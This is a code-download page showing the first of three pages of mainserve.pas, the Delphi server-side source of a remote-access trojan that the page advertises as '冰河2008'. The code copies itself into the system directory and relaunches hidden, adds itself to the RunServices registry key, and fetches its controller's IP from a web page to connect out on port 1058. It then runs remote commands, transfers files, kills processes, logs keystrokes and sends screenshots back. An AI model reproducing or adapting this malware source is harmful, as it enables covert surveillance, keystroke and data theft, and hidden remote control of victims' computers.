⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserve.pas

📁 冰河2008远程控制迎奥运版,国内鼎鼎大名的老牌远控
💻 PAS
📖 第 1 页 / 共 3 页
字号:
          inc(i);
          Temp := GetFilepath(RDStrList[1])+ GetFileName(RDStrList[1])+ '(' + inttoStr(i) + ')';
        end;
       CreateDir(Temp);
     except
     end;
     Exit;
  end;
  if  RDStrList[0] = '012' then   {接收客户端传来的文件 }
  begin
      try
        AFileStream:=TFileStream.Create(RDStrList[1], fmCreate);
        try
         i:=ServerForm.IdTCPClient1.ReadInteger();
         ServerForm.IdTCPClient1.ReadStream(AFileStream,i);
        except
        end;
      finally
       AFileStream.Free;
      end;
  end;
  if  RDStrList[0] = '013' then    {发送文件到客户端 }
  begin
      try
        AFileStream:=TFileStream.Create(RDStrList[1], fmOpenRead);
        try
         ServerForm.IdTCPClient1.WriteLn('013');
         ServerForm.IdTCPClient1.WriteInteger(AFileStream.Size);
         ServerForm.IdTCPClient1.WriteStream(AFileStream);
        except
        end;
      finally
       AFileStream.Free;
      end;
  end;
  if  RDStrList[0] = '014' then {远程运行文件}
  begin
    try
       if  RDStrList.Count = 3 then
         case Strtoint(RDStrList[1]) of
             0:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_HIDE);
             1:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_NORMAL);
             2:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_MAXIMIZE);
             3:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_MINIMIZE);
         end
       else  case Strtoint(RDStrList[1]) of
             0:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_HIDE);
             1:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_NORMAL);
             2:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_MAXIMIZE);
             3:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_MINIMIZE);
         end;
     except
     end;
  end;
  if  RDStrList[0] = '020' then
  begin
     Request:= Savenowtask;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'020',Request);
     Exit;
  end;
  if  RDStrList[0] = '021' then
  begin
    if Killprocsee(strtoint(RDStrList[1])) then
    begin
     Request:= Savenowtask;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'020',Request);     //刷新一下
     Exit;
     end;
  end;
  if  RDStrList[0] = '030' then
  begin
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;
  if  RDStrList[0] = '031' then
  begin
     try
       Showwindow(allhwnd[strtoint(RDStrList[1])],SW_SHOW);
     except
     end;
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;
  if  RDStrList[0] = '032' then
  begin
     try
       Showwindow(allhwnd[strtoint(RDStrList[1])],SW_Hide);
     except
     end;
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;
  if  RDStrList[0] = '033' then
  begin
     try
      PostMessage(allhwnd[strtoint(RDStrList[1])],WM_Close,0,0);
     except
     end;
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;

  if  RDStrList[0] = '040' then
   begin   {启动键盘记录}
     Request:= Installhook;
    // if Request='' then Request:='Cmd011';      //启动键盘记录成功!查看记录前请先终止键盘记录!
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'040',Request);
     Exit;
  end;
  if  RDStrList[0] = '041' then
   begin   {终止键盘记录}
      Request:= Uninstallhook;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'041',Request);
     Exit;
  end;
  if  RDStrList[0] = '042' then
   begin   {查看键盘记录}
     Request:=HookList.Text;
     if Request='' then
     begin
       Request:='NULL';  //键盘记录为空.
     end;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'042',Request);
     Exit;
  end;
  if  RDStrList[0] = '043' then
   begin   {清空键盘记录}
     try
       HookList.Clear;
     except
     end;
     Request:='Cmd014';      //清空键盘记录完成!
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'043',Request);
     Exit;
  end;
  if  RDStrList[0] = '050' then
  begin
       MyFirstBmp:=TMemoryStream.Create;
       //MyFirstBmp.Clear;
       My_GetScreenToBmp(true,MyFirstBmp);
       MyFirstBmp.Position:=0;
       try
        ServerForm.IdTCPClient1.WriteLn('050');
        ServerForm.IdTCPClient1.WriteInteger(MyFirstBmp.Size);
        ServerForm.IdTCPClient1.WriteBuffer(MyFirstBmp.Memory^,MyFirstBmp.Size,true);
       except
       end;
       MyFirstBmp.Free;
  end;
  if RDStrList[0] = '060' then        //摄像头监控
  begin

  end;
  if RDStrList[0] = '063' then      //停止摄像头监控
  begin
  end;
  if RDStrList[0] = '080' then    //卸载服务端
  begin
   with TRegistry.Create do
   try
   RootKey := HKEY_LOCAL_MACHINE;
   OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices', TRUE );
   DeleteValue('alalmn');      //删除这个键值
   finally
   free;
   end;
   ServerForm.IdTCPClient1.Disconnect;  //断开TCP
   ServerForm.Timer1.Enabled:=false;   //关闭TCP
   Terminate;  //退出
   application.Terminate;  //全局变量退出
   Exit; //停止
  end;

except
  Terminate;   //退出
  Exit;    //停止
end;


end;

procedure TClientHandleThread.Execute;
var
Thesize:Integer;
ThtStr:String;
RsltStream: TMemoryStream;
begin
  while not Terminated do
  begin
   { if not H_GZVIP2004.IdTCPOnline.Connected then
    begin
      H_GZVIP2004.ToClientDisconnect;
      Break;
    end
    else begin }
      try
        ThtStr:=ServerForm.IdTCPClient1.ReadLn();                    //H_GZVIP2004.IdTCPOnline.ReadLn(EOL);
        Thesize:=Strtoint(ThtStr);
        if Thesize>0 then
          begin
            try
              RsltStream := TmemoryStream.Create;
              ServerForm.IdTCPClient1.ReadStream(RsltStream,Thesize,False);
              RsltStream.Position := 0;
              SetLength(CommandStr, RsltStream.Size);
              RsltStream.Read(CommandStr[1], RsltStream.Size);
              RsltStream.Free;
              Synchronize(HandleInput);
            Except
             // H_GZVIP2004.ToClientDisconnect;
              Break;
            end;
          end;
     except
     end;
    end;
  //end;
end;
//-------------------------------------------------------------
function GetInfoByYearNet(const Str:String):String;  //获取到的网页文件做相应的处理
var i,j:integer;    //获取到的 {window.location = "http://123.6.48.96";;}
begin
Result:=''; 
i:=Pos('{window.location = "http://',Str);
if i=0 then Exit;
i:=i+length('{window.location = "http://');
j:=Pos('";;}',Str);
Result:= copy(Str,i,j-i); //提取到的IP
end;

function TServerForm.ConRpcport(BThread: TIdTCPClient):Boolean;
begin
 try
    Myipstr:='';
     try
       Myipstr:=GetInfoByYearNet(IdHTTP1.Get(httpurl));  //运行GetInfoByYearNet获取网页内容 用IdHTTP1获取
     except
     end;
  if Myipstr<>'' then
  begin
   if BThread.Connected then  //判断线程连接
     BThread.Disconnect;  //就断开
   BThread.Host:=Myipstr;  //上边获取到的网页IP文件
   BThread.Port:=1058;    //端口
   BThread.Connect;      //连接
   Result:=True;         //结果真
  end;
  except
   Result:=False;      //否则为假
  end;
  {
   try
     if BThread.Connected then
         BThread.Disconnect;
      BThread.Host:='127.0.0.1';
      BThread.Port:=7626;
      BThread.Connect();
      Result:=True;
    except
      Result:=False;
    end;
    }
end;

procedure TServerForm.Timer1Timer(Sender: TObject);
begin
 try
 if not IdTCPClient1.Connected then    //判断TCP是否连接
 begin   //没有连接往下运行
  if ConRpcport(IdTCPClient1) then  //由IdTCPClient1与服务端连接
     begin
         if not IdTCPClient1.Connected then exit; //没有连接 停止连接继续运行
         SendStreamToClient(IdTCPClient1,'000',Servername+#13+GetOSName(GetOSVersion));
         ClientHandleThread:=TClientHandleThread.Create;
    end;
 end;
 except
 end;
end;

procedure TServerForm.ReadMe;
var
   i,j:integer;
   F:file;
   Symbol: array [1..50] of char;
   Symbol1:array [1..50] of char;
   Symbolsize,Symbolsize1: array [1..2] of char;
begin
  for i:=1 to 50 do
  begin
    Symbol[i]:=#00;
    Symbol1[i]:=#00;
  end;
  CopyFile(pChar(ParamStr(0)), pChar(ParamStr(0)+'_'), False);
  Assignfile(F,Paramstr(0)+'_');
  Reset(f,1);
  Seek(F,Filesize(f)-2);
  BlockRead(F,Symbolsize,2);
  i :=strtoint(Symbolsize);
  //showmessage(Symbolsize);
  Seek(F,Filesize(f)-2-i);
  BlockRead(F,Symbol,i);
  Servername:=Trim(Symbol);

 // showmessage(Servername);

  Seek(F,Filesize(f)-i-4);
  BlockRead(F,Symbolsize1,2);
  j :=strtoint(Symbolsize1);
  Seek(F,Filesize(f)-i-4-j);
  BlockRead(F,Symbol1,j);
  httpurl:=Trim(Symbol1);

 // showmessage(httpurl);
  Closefile(f);
  DeleteFile(pChar(ParamStr(0)+'_'));
end;

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

procedure TServerForm.FormCreate(Sender: TObject);
var
myname:string;
//Reg:TRegistry;
begin
 myname := ExtractFilename(Application.Exename); //获得文件名
 if application.Exename <> GetWindir +myname then //如果文件不是在WindowsSystem那么..
 begin
 copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);//将自己拷贝到WindowsSystem下
 Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
 application.Terminate;//退出
 end else
 begin
  with TRegistry.Create do
  try
  RootKey := HKEY_LOCAL_MACHINE;
  OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices', TRUE );    //RunServices自启动
  WriteString('alalmn', application.ExeName );     //application.ExeName获取当前路径写入注册表
  finally
  free;
  end;
  ReadMe;

  HookList:= Tstringlist.Create;  //创建内存
 end;
end;

procedure TServerForm.FormDestroy(Sender: TObject);
begin
    HookList.Free;    //软件被破坏时释放内存
end;

procedure TServerForm.IdTCPClient1Disconnected(Sender: TObject);
begin
   ClientHandleThread.Destroy;    //文件被破坏就会停止
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -